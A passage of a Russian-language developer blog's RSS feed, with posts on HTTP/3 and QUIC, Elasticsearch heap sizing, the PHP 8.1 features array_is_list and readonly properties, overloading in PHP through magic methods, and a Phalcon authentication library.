возможность загружать более одного ресурса за раз, но TCP не был предназначен для этого. Если один из запросов не удался, TCP заставит браузер повторить все запросы. Поскольку TCP был удален из HTTP/3 и заменен на QUIC, HTTP/3 решил эту проблему. С HTTP/3 браузеру нужно только повторить неудавшийся запрос. Благодаря этому HTTP/3 работает быстрее и надежнее.</p><p><br></p><h3>Более быстрое шифрование</h3><p>HTTP/3 оптимизирует «рукопожатие» шифрования HTTP-запросов браузера. QUIC сочетает первоначальное соединение с подтверждением связи TLS, что делает его безопасным по умолчанию и более быстрым.</p><p><br></p><h3>Стандартизация</h3><p>На момент написания этой статьи HTTP/3 и QUIC не стандартизированы. Существует <a href="https://quicwg.org/" target="_blank">рабочая группа</a> IETF, которая в настоящее время работает над проектом стандартизации QUIC. Версия QUIC для HTTP/3 немного изменена, с использованием TLS вместо шифрования Google, но она имеет те же преимущества. Спустя пять лет после того, как первый проект спецификации QUIC был представлен в IETF, у нас есть <a href="https://datatracker.ietf.org/doc/html/rfc9000" target="_blank">RFC 9000, QUIC</a>: мультиплексированный и безопасный транспорт на основе UDP.</p><p><br></p><h3>Поддержка браузера</h3><p>В настоящее время Chrome поддерживает HTTP/3 по умолчанию, поскольку Google создает протокол QUIC и предлагает использовать HTTP поверх QUIC. Firefox также поддерживает протокол в версиях 88+ без флага. Safari 14 поддерживает HTTP/3, но только если установлен флаг экспериментальной функции.</p><p><a href="https://sergeymukhin.com/files/blog/2021/http-3-quic-vs-tcp-i-s-cem-ix-edyat-0VIVRw.png" target="_blank"><img src="https://sergeymukhin.com/files/blog/2021/http-3-quic-vs-tcp-i-s-cem-ix-edyat-0VIVRw.png"></a><br></p><h3><br></h3><h3>Бессерверная поддержка/поддержка CDN</h3><p>Пока только некоторые серверы поддерживают HTTP/3, но их доля растет. Cloudflare была одной из первых компаний, помимо Google, которая поддержала HTTP/3, поэтому их бессерверные функции и CDN совместимы с HTTP/3. Кроме того, Google Cloud и Fastly совместимы с HTTP/3. К сожалению, Microsoft Azure CDN и AWS CloudFront в настоящее время не поддерживают HTTP/3. Если вы хотите опробовать HTTP/3, QUIC.Cloud - интересный (хотя и экспериментальный) способ настроить кэширование CDN с помощью HTTP/3. </p><p><a href="https://blog.cloudflare.com/http3-the-past-present-and-future/" target="_blank">Cloudflare</a>, Fastly и Google Cloud также имеют хорошую поддержку HTTP/3 и более готовы к работе.</p><h3><br></h3><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">Заключение</span><br></p><p>HTTP/3 все еще является экспериментальным обновлением HTTP, и, скорее всего, оно изменится. Однако QUIC и HTTP/3 - очень интересные стандарты, обещающие устранить многие недостатки предыдущих стандартов и открыть новую эру производительности в Интернете.<br></p><p><br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/63</guid>
                <pubDate>2021-09-23T04:59:06+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Как уменьшить/увеличить потребление памяти Elasticsearch]]></title>
                <link>https://sergeymukhin.com/blog/kak-umensituvelicit-potreblenie-pamyati-elasticsearch</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Как уменьшить/увеличить потребление памяти Elasticsearch</h1><blockquote>Что делать если elasticsearch жрет слишком много памяти
</blockquote><p>Это очень важная настройка для ElasticSearch. Чтобы этот параметр был установлен правильно, система должна хорошо контролироваться</p>
<p>Короче говоря, мы определяем объем памяти, который Elasticsearch будет выделять в начале, и максимальное использование памяти с помощью <a href="https://www.elastic.co/guide/en/elasticsearch/reference/6.8/heap-size.html" target="_blank">этой конфигурации</a>.</p><p>Перед настройкой Heap Size я расскажу о концепции памяти Heap для правильного отслеживания размера Heap. Приложения Java используют методы «стека»(stack) и «кучи»(heap) для сохранения данных в памяти.</p><p>В режиме кучи приложение управляет использованием и очисткой памяти. В Java объекты хранятся в памяти кучи, и благодаря структурам, называемым сборщиком мусора, обеспечивается управление памятью кучи.</p><h2>Что такое сборщик мусора?</h2><p>В Java управление памятью выполняется в фоновом режиме с включенным JVM и сборщиком мусора. Сборщик мусора упрощает разработку приложений и сокращает время написания кода за счет автоматического управления памятью. Опять же, сборщик мусора может справиться с проблемой утечки памяти, вызванной ошибками кодирования.</p><p>Сборка мусора - это автоматизированный механизм управления памятью. он просматривает память кучи, обнаруживает используемые объекты и удаляет те, на которые нет ссылок. Пространство, занятое неиспользуемыми/несвязанными объектами, очищается из памяти, и это увеличивает доступную свободную память. Механизм, выполняющий этот процесс, называется сборщиком мусора.</p><p>Чрезмерный размер кучи может использоваться для кэширования, однако большой размер кучи может вызвать паузы в сборщике мусора. Когда сборщик мусора останавливается, возврат к конечной точке может длиться очень долго.</p><p>При длительной паузе доступ не происходит в распределенных системах, таких как Elasticsearch, поскольку узел может быть изолирован от кластера. На этом узле нет операций чтения или записи. Если узел является главным узлом, можно выбрать новый главный узел. Если узел является узлом данных, это может привести к размещению сегментов в других узлах данных. В этом случае увеличивается сетевой трафик, операции ввода-вывода на диске и нагрузка на кластер.</p><p><b>Вкратце</b>, если размер кучи меньше необходимого, могут возникнуть другие проблемы, помимо ошибок памяти.</p><h2>Рекомендации по уменьшению/увеличению размера "кучи"&nbsp;</h2><ul><li>Настоятельно рекомендуется, чтобы размер кучи не превышал половины общей памяти. Поэтому, если у вас 64ГБ памяти, вам не следует устанавливать размер кучи на 48ГБ</li><li>Размер кучи не рекомендуется превышать 32ГБ</li><li>По умолчанию Xms1g и Xmx1g составляют 1ГБ</li><li>Чтобы изменить размер кучи JVM, то нужно отредактировать файл по пути /etc/elasticsearch/jvm.options.</li></ul><p><pre class="line-numbers"><code class="language-powershell">
################################################################
## IMPORTANT: JVM heap size
################################################################
##
## The heap size is automatically configured by Elasticsearch
## based on the available memory in your system and the roles
## each node is configured to fulfill. If specifying heap is
## required, it should be done through a file in jvm.options.d,
## and the min and max should be set to the same value. For
## example, to set the heap to 4 GB, create a new file in the
## jvm.options.d directory containing these lines:
##
## -Xms4g
## -Xmx4g
##
## See https://www.elastic.co/guide/en/elasticsearch/reference/current/heap-size.html
## for more information
##
################################################################
</code></pre></p><p>т.е. если вы хотите уменьшить потребление оперативной памяти, то просто выставляете, например, такие значения:</p><pre class="line-numbers"><code class="language-powershell">-Xms512m
-Xmx512m</code></pre><p>Если же захочется увеличить, то вбиваем, например 4Гб:</p><p><br></p><pre class="line-numbers"><code class="language-powershell">-Xms4g
-Xmx4g</code></pre><p>&nbsp;После изменения настройки, перегрузите ES:</p><p><br></p><pre class="line-numbers"><code class="language-powershell">sudo service elasticsearch restart</code></pre><p>Теперь можете замерить потребление Elasticsearch'ом памяти и убедиться, что настройки были сохранены.&nbsp; &nbsp;<br></p><div><br></div>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/48</guid>
                <pubDate>2021-09-16T11:01:09+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[PHP 8.1: функция array_is_list]]></title>
                <link>https://sergeymukhin.com/blog/php-81-funkciya-array-is-list</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">PHP 8.1: функция array_is_list</h1><blockquote>При работе с массивами может наступить момент, когда вам понадобится проверить, является ли рассматриваемый массив списком</blockquote><p>Итак, когда&nbsp;<a href="https://www.php.net/manual/en/language.types.array.php" target="_blank">массив</a> квалифицируется как «список» (list)?</p><p>Массив можно назвать списком, если ключи (должны быть в форме целого числа) являются последовательными. Это означает, что если массив является ассоциативным массивом с целочисленными ключами, он не должен иметь отсутствующих смещений массива или содержать неупорядоченные ключи.</p><p>Например, возьмем для примера следующее:</p><p><br></p><pre class="line-numbers"><code class="language-php">$bikes = [
    0 =&gt; 'Honda',
    1 =&gt; 'Kawasaki',
    2 =&gt; 'Yamaha'
];</code></pre><p>&nbsp;Здесь мы можем вызвать&nbsp;<span style="font-size: 1rem;">массив</span>&nbsp;$bikes как список, поскольку целочисленные ключи здесь находятся в правильном порядке. Но если взять:</p><p><br></p><pre class="line-numbers"><code class="language-php">$bikes = [
    2 =&gt; 'Honda',
    0 =&gt; 'Kawasaki',
    1 =&gt; 'Yamaha'
];</code></pre><p>В этом случае&nbsp;<span style="font-size: 1rem;">массив&nbsp;</span>$bikes не является списком, так как ключи теперь не идут по порядку.</p><p>Теперь, чтобы проверить, является ли массив списком, мы можем написать нашу собственную реализацию вот так:</p><p><br></p><pre class="line-numbers"><code class="language-php">function is_list(array $array): bool 
{
    $expectedKey = 0;
    foreach ($array as $i =&gt; $_) {
        if ($i !== $expectedKey) { return false; }
        $expectedKey++;
    }
    return true;
}

$bikes = [
    2 =&gt; 'Honda',
    0 =&gt; 'Kawasaki',
    1 =&gt; 'Yamaha'
];

var_dump(is_list($bikes)); // false</code></pre><p>Или, если вы планируете перейти на PHP 8.1, для этого есть функция, которую вы можете использовать прямо из коробки.</p><h2>Функция&nbsp;array_is_list()</h2><p>В этом <a href="https://wiki.php.net/rfc/is_list" target="_blank">PR</a> для PHP 8.1 будет представлена ​​функция array_is_list(), которую можно использовать для той же цели, о которой я говорил выше.</p><p>Итак, если мы хотим переписать наш предыдущий пример с помощью этой функции, мы можем сделать это так:</p><p><br></p><pre class="line-numbers"><code class="language-php">$bikes = [
    0 =&gt; 'Honda',
    1 =&gt; 'Kawasaki',
    2 =&gt; 'Yamaha'
];

var_dump(array_is_list($bikes)); // true</code></pre><p>Вот и все! Это все, что делает эта функция.</p><p>Здесь следует отметить, что эта функция не будет правильно работать с массивами, у которых ключи, отличные от целых чисел, по очевидным причинам.</p><p>Кроме того, все, что передается в качестве аргумента в&nbsp;<span style="font-size: 1rem;">array_is_list()</span>, не являющимся массивом, вызовет ошибку типа:</p><p><br></p><pre class="line-numbers"><code class="language-php">array_is_list(new stdClass());  // исключение TypeError
array_is_list(null);  // исключение TypeError</code></pre><p>Что интересно, первоначально было предложено назвать функцию is_list(), но далее переименовано, из-за возможности конфликта имен с потенциальным типом списка.&nbsp;</p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/60</guid>
                <pubDate>2021-09-07T05:00:50+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Вышел первый кандидат релиз  PHP 8.1 RC1]]></title>
                <link>https://sergeymukhin.com/blog/vysel-pervyi-kandidat-reliz-php-81-rc1</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Вышел первый кандидат релиз  PHP 8.1 RC1</h1><blockquote>Команда PHP объявила о выпуске RC1 PHP 8.1! До выпуска версии 8.1.0 еще около двух с половиной месяцев (25 ноября)</blockquote><p>RC2 планируется через две недели.</p><blockquote>Не используйте эту версию в производстве, это ранняя тестовая версия</blockquote><h2>Что интересного в новом выпуске PHP 8.1?</h2><p>PHP 8.1 - это второстепенный выпуск с новыми функциями, сфокусированными на объектно-ориентированном дизайне, типах, функциях языка и т.д. Вот некоторые из основных функций, которые появятся в PHP 8.1:</p><ul><li>перечисления</li><li>файберы</li><li>new в инициализаторах</li><li>свойства только для чтения</li><li>константы финального класса</li><li>функция array_is_list ()</li><li>функция fsync</li><li>типы чистых пересечений</li><li>улучшение производительности</li></ul><p>Если вы хотите получить более подробную информацию об этих функциях (и многом другом), ознакомьтесь с постом <a href="https://sergeymukhin.com/blog/chto-novogo-v-php-81" target="_blank">Что нового в PHP 8.1</a>. Также&nbsp; советую ознакомиться с полным списком новых функций в <a href="https://github.com/php/php-src/blob/php-8.1.0RC1/UPGRADING" target="_blank">документе по обновлению</a>.</p><p>Мы увидим еще несколько релиз-кандидатов и, наконец, общедоступный выпуск примерно 25 ноября 2021 года:</p><p><img src="https://sergeymukhin.com/files/blog/2021/vysel-pervyi-kandidat-reliz-php-81-rc1-m4dTgp.png"></p><p>Вы можете скачать исходный код PHP 8.1 RC1 со <a href="https://downloads.php.net/~patrickallaert/" target="_blank">страницы загрузок</a>.<br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/59</guid>
                <pubDate>2021-09-06T05:45:03+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Перегрузка в PHP]]></title>
                <link>https://sergeymukhin.com/blog/peregruzka-v-php</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Перегрузка в PHP</h1><blockquote>Поговорим о перегрузке методов и свойств в PHP, зачем и нужно ли это вообще</blockquote><p>И сразу с ходу удар под дых - хотя в документации официального сайта PHP есть специальный раздел «<a href="https://www.php.net/manual/en/language.oop5.overloading.php" target="_blank">Перегрузка</a>» , это ни в коем случае не является перегрузкой. Парам-пам!</p><p>Потому что, если мы проверим определение перегрузки функции или перегрузки метода, это будет звучать примерно так:</p><blockquote>Перегрузка функций или методов - это возможность создавать несколько функций с одним и тем же именем с разными реализациями.</blockquote><p>Проще говоря, «перегрузка означает многократное объявление функции с другим набором параметров» . Это будет выглядеть так:</p><p><br></p><pre class="line-numbers"><code class="language-php">function getValue($a) 
{
    return $a;
}

function getValue($a, $b) 
{
    return $a + $b;
}

echo getValue(10); // вывод "10"
echo getValue(10, 5); // должен вывести "15"</code></pre><p>&nbsp;Ну и на данный момент в PHP нет возможности сделать это. Или можно? Давай-те посмотрим.</p><h2>Перегрузка в ООП</h2><p>Что интересно, "Перегрузка" является одним из базовых понятий в концепции ООП, так же как и класс, объект, инкапсуляция, полиморфизм и т.д.&nbsp; Что касаемо PHP, в нем периодически все таки надо что-то перегружать. </p><p>Но разные люди говорят разные вещи, кто-то, что нам не нужно в принципе перегружать в PHP, кто-то, что в PHP есть только частичная поддержка перегрузки и т.д. И каждый отчасти прав, в PHP есть путь, с помощью которого вы все же можете реализовать перегрузку.</p><h2>Перегрузка в PHP</h2><p>Концепция перегрузки требует магических методов,&nbsp; суть метода заключается в создании динамических сущностей.&nbsp;Свойства и методы - это именно те сущности, которые и будут создаваться динамически с помощью перегрузки PHP. После создания объекта мы можем получить доступ к набору сущностей, то есть свойствам или методам, не определенных в рамках класса.</p><p>Магические методы начинаются с __ (двойное подчеркивание) и автоматически вызываются PHP. Кроме того, они всегда определяются внутри, а не вне класса. Различные магические методы: __get(), __set(), __ construct(), __destruct(), __call(), __callStatic(), __isset(), __unset().&nbsp;Большинство магических методов будут запускаться в контексте объекта, за исключением метода __callStatic(), который используется в статическом контексте.<br></p><h2>Типы перегрузки PHP</h2><p>Перегрузку в PHP можно классифицировать как,</p><ul><li>Перегрузка свойств<br></li><li>Перегрузка методов</li></ul><h2>Перегрузка свойств</h2><p>Перегрузка свойств PHP позволяет нам создавать у объекта динамические свойства. Свойство, связанное с экземпляром класса и не объявленное внутри класса, считается перегруженным свойством.</p><p>Мы можем выполнять следующие операции с перегруженными свойствами в PHP.</p><ul><li><span style="color: rgb(33, 37, 41); font-size: 1rem;">Установка и получение перегруженных свойств.</span><br></li><li>Оценка настройки перегруженных свойств.</li><li>Отмена настройки таких свойств.</li></ul><div><br></div><div><br></div><div>Перед выполнением трех вышеуказанных операций мы должны определить соответствующие магические методы:</div><div><br></div><div> </div><ul><li>__set() - срабатывает при инициализации перегруженных свойств. </li><li>__get() - срабатывает при использовании перегруженных свойств. </li><li>__isset() - этот магический метод вызывается, когда мы проверяем перегруженные свойства с помощью функции isset() </li><li>__unset() - аналогично, эта функция будет вызываться при использовании PHP unset() для перегруженных свойств.</li></ul><p>Еще проще понять срабатывание этих методов в тот момент, когда свойства, к которым они будут применимы будут недоступны. Т.е. если мы попытаемся присвоить значение недоступному свойству, то как раз сработает __set(), либо наоборот попытка чтение недоступного свойства приведет к срабатыванию __get(). Надеюсь так будет понятнее.</p><p>Итак посмотрим на пример, который предназначен для динамического создания элементов массива свойств:</p><p><span style="font-size: 1em; background-color: initial; color: rgb(248, 248, 242); font-family: Consolas, Monaco, &quot;Andale Mono&quot;, &quot;Ubuntu Mono&quot;, monospace; white-space: pre; word-spacing: normal;"><br></span></p><pre class="line-numbers"><code class="language-php">class Toys
{
    private $data;

    public function __set($name, $value)
    {
        $this-&gt;data[$name] = $value;
    }

    public function __get($name)
    {
        echo "Перегруженное свойство name = " . $this-&gt;data[$name] . "\r\n";
    }

    public function __isset($name)
    {
        if (isset($this-&gt;data[$name])) {
            echo "Свойство \$$name существует.\r\n&gt;";
        } else {
            echo "Свойство \$$name не существует.\r\n";
        }
    }

    public function __unset($name)
    {
        unset($this-&gt;data[$name]);
        echo "\$$name очищен \r\n";
    }
}

$objToys = new Toys;
// сеттеры и геттеры динамических свойств 
$objToys-&gt;overloaded_property = "new";
echo $objToys-&gt;overloaded_property . "\r\n";
// Операции со значениями динамических свойств 
isset($objToys-&gt;overloaded_property);
unset($objToys-&gt;overloaded_property);
isset($objToys-&gt;overloaded_property);

//Перегруженное свойство name = new
//Свойство $overloaded_property существует.
//$overloaded_property очищен 
//Свойство $overloaded_property не существует.</code></pre><p>В приведенном выше примере создается динамическое свойство overloaded_property. При инициализации этого динамического свойства вызывается __set() с парой имя и значение, которая инициализируется как имя и значение элемента массива свойств класса $data.</p><p>Вдобавок к этому isset() и unset() с перегруженным свойством будут запускать магические методы __isset() и __unset(). Тут все достаточно просто, перейдем к другой перегрузке.&nbsp;</p><h2>Перегрузка методов или функций</h2><p>Если вы хотите реализовать перегрузку метода или функции в PHP, вы можете добиться этого с помощью магического метода __call() или __callStatic(). В отличие от перегрузки свойств, перегрузка метода PHP позволяет вызывать функцию как в объектном, так и в статическом контексте.</p><p>Для начала возьмем пример попроще и с явным поведением:<br></p><p><br></p><pre class="line-numbers"><code class="language-php">class Toys
{
    public function __call($name, $param)
    {
        echo "Магический метод, вызываемый при перегрузке метода ссылкой на объект\r\n";
    }

    public static function __callStatic($name, $param)
    {
        echo "Магический метод, вызываемый при перегрузке метода со статическим доступом\r\n";
    }
}

$objToys = new Toys;
$objToys-&gt;overloaded_method(); //Магический метод, вызываемый при перегрузке метода ссылкой на объект<br>
Toys::overloaded_property(); // Магический метод, вызываемый при перегрузке метода со статическим доступом<br><br></code></pre><p>Как видно из примера доступ к некоторому перегруженному методу с именем класса вызовет статический магический член, определенный внутри класса.</p><p>Теперь попробуем реализовать что-нибудь посложнее:</p><p><br></p><pre class="line-numbers"><code class="language-php">class MyClass 
{  
    public function __call($member, $arguments) 
    {
        $numberOfArguments = count($arguments);

        if (method_exists($this, $function = $member.$numberOfArguments)) {
            call_user_func_array(array($this, $function), $arguments);
        }
    }
  
    private function overloaded_method1($argument1)
    {
        return $argument1;
    }

    private function overloaded_method2($argument1, $argument2)
    {
        return $argument1 + $argument2;
    }
}

$class = new MyClass();

echo $class-&gt;overloaded_method(10); // вывод '10'
echo $class-&gt;overloaded_method(10, 5); // вывод '15'</code></pre><p>Как видите, при вызове метода объекта overloaded_method() класса MyClass он запускает магический метод __call, поскольку вызываемый метод overloaded_method() не существует.<br></p><p>И далее здесь начинается магия. Как вы понимаете, у нас есть два разных метода, вызываемых overloaded_method1() и overloaded_method2() для обработки одного аргумента и двух аргументов соответственно.</p><p>Метод __call вызывает эти методы, используя функцию call_user_func_array, основанную на количестве аргументов при вызове метода overloaded_method. И вот так вы можете добиться более сложной перегрузки методов/функций в PHP.</p><p>Конечно, использовать это несколько сложно. Поскольку вам придется вручную проверять некоторые вещи и следить за тем, чтобы что-то не сломалось.</p><p>Однако, используя данный принцип и, возможно, опираясь на другие варианты использования, возможна такая форма перегрузки, при условии, что у вас есть некоторые строгие соглашения об именах в ваших функциях для их точного вызова. Как у нас&nbsp;<span style="font-size: 1rem;">&nbsp;</span><span style="font-size: 1rem;">в нашем примере,</span>&nbsp;overloaded_method1 и overloaded_method2.&nbsp;</p><h2>Напоследок</h2><p>Конечно, стало бы намного проще, если бы PHP позволил нам несколько раз объявлять одну и ту же функцию, но с разными аргументами, не выполняя при этом разного рода магии.</p><p>Будем надеяться, что в будущих версиях PHP будет реализовываться такое поведение изначально.</p><p><br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/58</guid>
                <pubDate>2021-08-27T11:38:50+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Авторизация для фреймворка Phalcon]]></title>
                <link>https://sergeymukhin.com/blog/avtorizaciya-dlya-freimvorka-phalcon</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Авторизация для фреймворка Phalcon</h1><blockquote>Библиотека для создания функционала аутентификации для сайта на базе фреймворка Phalcon</blockquote><p>Мало мальское приложение, если это не landing page или контактная визитка, обычно имеет работу с пользователями. Функционал авторизации или точнее аутентификации (обычно мы смешиваем эти понятия, что в принципе не так страшно, но в голове нужно знать различие) обычно имеют схожую реализацию.</p><h2>Аутентификация</h2><p>Аутентификация это процесс входа на сайт, не важно каким способом. В процессе аутентификации мы неизвестного гостя идентифицируем на сайте, после аутентификации серфинг на сайте делает уже не просто какой то рандомный IP адрес, а конкретный пользователь. Появляется кнопка для «выхода», страницы смены пароля и т.д. Вот это вот превращение анонима в известного пользователя, это процесс аутентификации.</p><p>Так что говорить «форма авторизации» по сути неправильно, на самом деле это «форма аутентификации».</p><h2>Авторизация</h2><p>Авторизация же, это процесс проверки какой то конкретной возможности, доступности какого либо действия для пользователя. Authorization дословно переводится с английского как «разрешение». Действие которое мы разрешаем может быть абсолютно любым. Вы самостоятельно прописываете логику по которой будете разрешать или запрещать действие пользователю, а потом в тот момент когда пользователь уже собирается выполнять какое-то действие, заложенная логика срабатывает и пользователь либо дальше продолжит действие, либо натыкается на некий запрет, не позволящий ему сделать задуманное.</p><p>Если подходить ближе к практическим примерам, то реальной «возможностью» может быть например «возможность создания статьи». Вам в контроллер прилетает POST запрос, в котором лежит содержимое статьи, и в ответ на этот запрос вам нужно добавить статью и послать «ок», либо ответить ошибкой «доступ запрещен». Вам нужно разрешить или запретить создание для пользователя, или другими словами авторизовать действие.&nbsp;</p><h2>Библиотека Phalcon Auth</h2><p>Теперь когда вы понимаете различие в этих терминах, то можно перейти непосредственно к теме поста. Часто создавая проекты переносишь из одного в другой какие-то части кода, копируя нужный схожий функционал, так у меня часто происходит и с аутентификацией, чтобы сделать авторизацию и&nbsp;<span style="font-size: 1rem;">регистрацию</span>&nbsp;пользователей на сайте.<br></p><p>В какой-то момент пришло осознание, что поры бы выделить всю логику в отдельную библиотеку, сказано - сделано. Итак, если вам нужно сделать аутентификацию у себя на сайте, на базе фреймворка Phalcon, встречайте <a href="https://github.com/sinbadxiii/phalcon-auth" target="_blank">Phalcon Auth</a>.</p><p><img src="https://sergeymukhin.com/files/blog/2021/avtorizaciya-dlya-freimvorka-phalcon-RigjYh.png"></p><p>За основу была взята система на базе Охранников (Guard) и поставщиков (Provider).&nbsp;&nbsp;Охранники определяют, как пользователи будут проходить аутентификацию, например с помощью стандартных Сессий, хранилища Сессий и файлов Cookie или, например, с помощью токена, если это api приложение.</p><p>Провайдеры определяют, откуда будут извлекаются пользователи. По-умолчанию это конечно же Phalcon\Model и строитель запросов к базе данных.</p><p><img src="https://sergeymukhin.com/files/blog/2021/avtorizaciya-dlya-freimvorka-phalcon-IZGJnT.webp"></p><p><br></p><p>Данная концепция используется в популярных фреймворках, поэтому и была взята за основу, т.к. позволяет гибко настраивать функционал аутентификации, с возможность добавления новых охранников и провайдеров пользователей.</p><h2>Возможности Phalcon Auth</h2><p>Итак, на сегодняшний день, Phalcon Auth умеет логинить пользователя с помощью сессий, кук и токена. </p><p>Можно использовать функционал долгосрочной аутентификации с помощью "Запомнить меня", либо же наоборот, позволяет единоразово аутентифицировать пользователя без записи его в сессию.&nbsp;</p><p><img src="https://sergeymukhin.com/files/blog/2021/avtorizaciya-dlya-freimvorka-phalcon-jS3TYx.jpeg"></p><p>И после удачного входа вы можете использовать получение пользователя в любом месте вашего приложения:</p><p><br></p><pre class="line-numbers"><code class="language-php">$this-&gt;auth-&gt;user();
//получить пользователя

$this-&gt;auth-&gt;id();
//получить id аутентифицированного пользователя</code></pre><p>Более подробно можно прочитать в README на <a href="https://github.com/sinbadxiii/phalcon-auth" target="_blank">странице репозитория</a>.</p><h2>Регистрация, сброс пароля и пр.</h2><p>Изучая подходы других людей, я видел библиотеки для авторизации Phalcon, которые включали в себя множество функций, будь то регистрация, сброс пароля, активация и пр. Но пихать все это в одну библиотеку как по мне слишком накладно, т.е. по сути что требуется от нее, получить данные от пользователя, проверить есть ли такой пользователь, запомнить его либо в сессию, либо просто отдать данные. И все, для этого и был сделан минимальный функционал для таких действий, и если кто-то будет искать в исходниках возможность сделать регистрацию, сброс пароля и пр. то такого не найдет, точнее не найдет полную реализацию, т.к. большинство из требуемого - это реализация на уровне контроллеров.</p><p>Например вот пример приложения, для понимания как работает библиотека&nbsp;<a href="https://github.com/sinbadxiii/phalcon-auth-example" target="_blank">https://github.com/sinbadxiii/phalcon-auth-example</a>, тут максимально просто и доступно показано как можно сделать аутентификацию у себя на сайте.</p><p>Но чтобы сделать создание аутентификации, регистрации и пр. еще проще был создан репозиторий <a href="https://github.com/sinbadxiii/phalcon-foundation-auth" target="_blank">Phalcon Foundation Auth</a>&nbsp;(пока работает в альфа режиме), подключив его и запустив скрипт инициализации, можно тут же пользоваться всем функционалом авторизации и регистрации, с возможностью "допиливания" нужных вещей. Библиотека предоставит вам stubs всех контроллеров, мидлваров и шаблонов.</p><p>Жду от вас Issues, т.к. пока не все оттестировано и возможно работоспособность не будет равна 100% :) но в свободное время постараюсь поскорей его допилить, так же добавив функционал сброса пароля, активации пользователя, бана и пр.&nbsp;</p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/49</guid>
                <pubDate>2021-08-13T08:17:32+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[PHP 8.1: Свойства только для чтения]]></title>
                <link>https://sergeymukhin.com/blog/php-81-svoistva-tolko-dlya-cteniya</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">PHP 8.1: Свойства только для чтения</h1><blockquote>Расскажу о такой полезной вещи, которую собирается представить PHP 8.1 - называется свойствами только для чтения</blockquote><p>PHP как язык постоянно меняется и развивается. Это не тот язык, который был 10 лет назад. Это все потому, что основная команда PHP постоянно совершенствует мелкие вещи, которые на первый взгляд могут показаться несущественными, но после исправления/реализации могут значительно улучшить общий опыт разработчика.</p><p>По сути, свойства «только для чтения» вводятся для смягчения языковых ограничений, связанных с отсутствием возможности объявлять свойства «только для чтения» без каких-либо ошибок.</p><h2>Как это есть сейчас</h2><p>До сих пор, если вы хотите сделать определенное свойство доступным только для чтения, единственное, что вы могли сделать, - это сделать его приватным (private). Возьмем следующий пример:</p><p><br></p><pre class="line-numbers"><code class="language-php">&lt;?php

class Book 
{
    private $author;    

    public function __construct(
        string $author
    ) {
        $this-&gt;author = $author;
    }

    public function getAuthor(): string 
    {
        return $this-&gt;author;
    }
}

$book = new Book('Борис Акунин');

echo $book-&gt;author;
//или попытаемся присвоить новое значение
$book-&gt;author = 'Сергей Лукьяненко';

// Uncaught Error: Cannot access private property Book::$author</code></pre><p>&nbsp;</p><p>Если мы запустим приведенный выше пример, мы получим фатальную ошибку, которая говорит <b>Uncaught Error: Cannot access private property Book::$author</b>.<br></p><p>Используя этот подход, мы, безусловно, можем сделать свойства «только для чтения», но это своего рода «хак», и самая большая проблема с созданием&nbsp;<span style="font-size: 1rem;">private&nbsp;</span>свойства заключается в том, что если вы хотите получить к нему доступ вне класса, вы должны определить геттер метод.</p><p>В нашем случае, если мы хотим получить доступ к&nbsp;<span style="font-size: 1rem;">свойству&nbsp;</span>author, мы можем определить метод получения в классе следующим образом</p><p><br></p><pre class="line-numbers"><code class="language-php">public function getAuthor(): string 
{
    return $this-&gt;author;
}</code></pre><p>Итак, чтобы решить эту проблему, PHP 8.1 теперь изначально вводит полнофункциональные свойства только для чтения</p><h2>Свойства только для чтения в PHP 8.1&nbsp;</h2><p>Этот <a href="https://wiki.php.net/rfc/readonly_properties_v2" target="_blank">RFC</a> Никиты Попова представит возможность объявить свойство как «только для чтения» с помощью&nbsp;<span style="font-size: 1rem;">ключевого слова</span>&nbsp;<b>readlonly</b>:</p><p><br></p><pre class="line-numbers"><code class="language-php">&lt;?php

class Book 
{
    public readonly string $author; 

    public function __construct(
        string $author
    ) {
        // Legal initialization
        $this-&gt;author = $author;
    }
}

$book = new Book('Сергей Лукьяненко');<br>
// Below will work fine
echo $book-&gt;author; // string(6) "Сергей Лукьяненко"</code></pre><p>Как видите, использование readonly с public свойством позволяет получить доступ к свойству вне класса. Итак, больше нет необходимости использовать геттеры-методы для получения значения свойства.</p><p><br></p><h3>Может быть заявлено только один раз</h3><p>Однако здесь следует отметить одну вещь: свойство readonly может быть инициализировано только один раз и только из области, в которой оно было объявлено. Любое другое назначение или изменение свойства приведет к Error исключению:</p><p><br></p><pre class="line-numbers"><code class="language-php">$book = new Book('Борис Акунин');

$book-&gt;author = 'Сергей Лукьяненко'
// Error: Cannot modify readonly property Book::$author</code></pre><h3><br></h3><h3>Нет явного значения по умолчанию</h3><p>Помимо этого, также невозможно указать явное значение по умолчанию для свойств только для чтения:</p><p><br></p><pre class="line-numbers"><code class="language-php">class Book 
{
    // Fatal error: Readonly property Book::$author cannot have default value
    public readonly string $author = 'Борис Акунин'; 
}</code></pre><h3><br></h3><h3>Использовать только с типизированными свойствами&nbsp;</h3><p><span style="font-size: 1rem;">Модификатор&nbsp;</span>readonly может быть применен только к типизированным свойствам. Причина в том, что нетипизированные свойства имеют неявное нулевое значение по умолчанию, которое считается инициализирующим назначением и может вызвать путаницу. Это можно смягчить, используя смешанный тип (mixed), который был представлен в <a href="https://sergeymukhin.com/blog/chto-novogo-v-php-8" target="_blank">PHP 8.0</a>.</p><p><br></p><pre class="line-numbers"><code class="language-php">class Book
{
    public readonly mixed $author;
